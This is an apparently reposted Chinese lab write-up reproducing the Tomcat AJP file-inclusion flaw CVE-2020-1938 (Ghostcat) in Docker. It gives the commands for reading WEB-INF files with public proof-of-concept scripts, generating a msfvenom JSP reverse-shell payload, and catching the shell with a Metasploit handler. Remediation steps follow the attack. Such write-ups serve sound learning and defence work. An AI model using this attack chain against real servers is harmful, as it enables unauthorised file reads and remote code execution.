CVE-2020-1938 Tomcat文件包含漏洞复现

这篇具有很好参考价值的文章主要介绍了CVE-2020-1938 Tomcat文件包含漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.漏洞描述

Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接 和 SERVLET容器连接。

2.影响的版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.53
Apache Tomcat 9 < 9.0.31

3.漏洞复现

3.1 实验环境以及ip

靶机:kali       192.168.157.138
攻击机:kali       192.168.157.139 

3.2靶机环境搭建

3.2.1下载docker

#更新软件源中的所有软件列表
apt-get update
#安装https协议及CA证书
apt-get install -y apt-transport-https ca-certificates
#下载安装docker
apt install docker.io
#查看Docker是否安装成功
docker run hello-world 

3.2.2搜索docker中的漏洞环境镜像

docker search tomcat-8.5.32
CVE-2020-1938 Tomcat文件包含漏洞复现

3.2.3使用docker拉去镜像环境

docker pull duonghuuphuc/tomcat-8.5.32
CVE-2020-1938 Tomcat文件包含漏洞复现

3.2.4查看docker下的镜像

docker images
CVE-2020-1938 Tomcat文件包含漏洞复现

3.2.5启动环境

docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat negoowen/ghostcat:1.0
CVE-2020-1938 Tomcat文件包含漏洞复现

这里出现错误,显示ghostcat容器在运行,是因为第二次执行而导致的报错

关闭ghostcat容器

docker rm -f ghostcat
CVE-2020-1938 Tomcat文件包含漏洞复现

再次启动环境,成功

3.2.6查看环境是否启动成功

docker ps -l
CVE-2020-1938 Tomcat文件包含漏洞复现

3.2.7打开页面

CVE-2020-1938 Tomcat文件包含漏洞复现

3.3 漏洞复现

3.3.1在攻击机进行端口扫描

nmap 192.168.157.138
CVE-2020-1938 Tomcat文件包含漏洞复现

3.3.2 在攻击机下载poc

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
CVE-2020-1938 Tomcat文件包含漏洞复现

3.3.3 尝试读取8009端口下的web.xml文件

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.157.138 -p 8009 -f /WEB-INF/web.xml
CVE-2020-1938 Tomcat文件包含漏洞复现

3.3.4  在靶机创建一个验证文件

docker exec -it ghostcat /bin/bash
echo helloworld > ./webapps/ROOT/WEB-INF/test.txt
CVE-2020-1938 Tomcat文件包含漏洞复现

3.3.5 进行攻击

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.157.138 -p 8009 -f /WEB-INF/test.txt
CVE-2020-1938 Tomcat文件包含漏洞复现

3.4漏洞利用--文件包含getshell

3.4.1首先在靶机使用msf生成一个java木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.157.139 LPORT=6666 > shell.txt
CVE-2020-1938 Tomcat文件包含漏洞复现

3.4.2将生成的木马复制到tomcat目录下,模拟我们已经将shell.txt上传

docker cp /home/xiaoya/桌面/shell.txt ghostcat:/usr/local/tomcat/webapps/ROOT/WEB-INF/shell.txt
CVE-2020-1938 Tomcat文件包含漏洞复现

3.4.3 在攻击机下载poc

git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/
CVE-2020-1938 Tomcat文件包含漏洞复现

3.4.4 在攻击机打开msf进行监听

# 打开msf
msfconsole
# 设置监听模块
use exploit/multi/handler
# 设置 payload
set payload java/jsp_shell_reverse_tcp
# 设置监听 IP 地址
set lhost 192.168.157.139
# 设置监听端口
set lport 6666
# 执行
run
CVE-2020-1938 Tomcat文件包含漏洞复现

3.4.5在攻击机访问shell.txt,使shell.txt发生文件包含文章来源地址https://www.toymoban.com/news/detail-481713.html

python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py 192.168.157.138 -p 8009 -f /WEB-INF/shell.txt 
CVE-2020-1938 Tomcat文件包含漏洞复现

4修复建议

1.临时禁用AJP协议端口,在 conf/server.xml 配置文件中注释掉:<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
2.特别配置ajp配置中的secretRequired跟secret属性来限制认证
3.下载更新版本,只要不在本文开头提到的波及版本中即可。

到了这里,关于CVE-2020-1938 Tomcat文件包含漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Tomcat--文件上传--文件包含--(CVE-2017-12615)&&(CVE-2020-1938)

    采用Vulfocus靶场环境进行复现,搭建操作和文章参考具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败。 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的

    2024年02月08日
    浏览(43)
  • CVE-2020-1938 Tomcat远程文件包含漏洞

    漏洞简介 CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的

    2024年02月07日
    浏览(43)
  • 以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试

    Tomcat服务器是一个免费的开放源代码的Web应用服务器,被普遍使用在轻量级Web应用服务的构架中。 Tomcat提供了可以在其中运行Java代码的“纯Java” HTTP Web服务器环境。 CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻

    2024年02月12日
    浏览(46)
  • Apache Tomcat 安全漏洞(CVE-2020-13935)复现

    漏洞详情: Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat中的WebSocket存在安全漏洞,该漏洞源于程序没有正确验证payload的长度。攻击者可利用该漏洞造成拒绝服务(无限循环)。 影响版

    2024年02月11日
    浏览(48)
  • Tomcat Session(CVE-2020-9484)反序列化漏洞复现

            北京时间2020年05月20日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484。 Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用

    2024年02月01日
    浏览(45)
  • CVE-2020-17518 flink任意文件上传漏洞复现

    Apache Flink 是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。 编号:CVE-2020-17518 Flink 1.5.1引入了REST API,但其实现上存在多处

    2024年02月10日
    浏览(43)
  • 【漏洞复现】Tomcat 任意写入文件漏洞(CVE-2017-12615)

    Apache Tomcat 7.0.0到7.0.79版本中存在远程代码执行漏洞, 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件 ,文件中的代码被服务器执行。 Apache Tomcat =7.0.0,=7.0.79 漏洞的Tomcat运行在Windows/Linux主

    2024年02月13日
    浏览(49)
  • CVE-2020-14882&14883漏洞复现

    漏洞介绍   在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14882。 CVE-2020-14882 允许远程用户规避控制台组件中的身份验证。导致此漏洞的原因是服务器 URL 的路径遍历黑名单配置不当,可以在 WebLogic HTTP 访问的处理

    2023年04月24日
    浏览(41)
  • 【漏洞复现】Apache_Tomcat_PUT方法任意写文件(CVE-2017-12615)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2017-12615 漏洞名称 Tomcat_PUT方法任意写文件 漏洞评级 高危 影响范围 Tomcat版本:8.5.19 漏洞描述 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件 修复方案

    2024年02月05日
    浏览(37)
  • Docker 容器逃逸漏洞 (CVE-2020-15257)复现

    漏洞概述 containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这

    2024年02月10日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包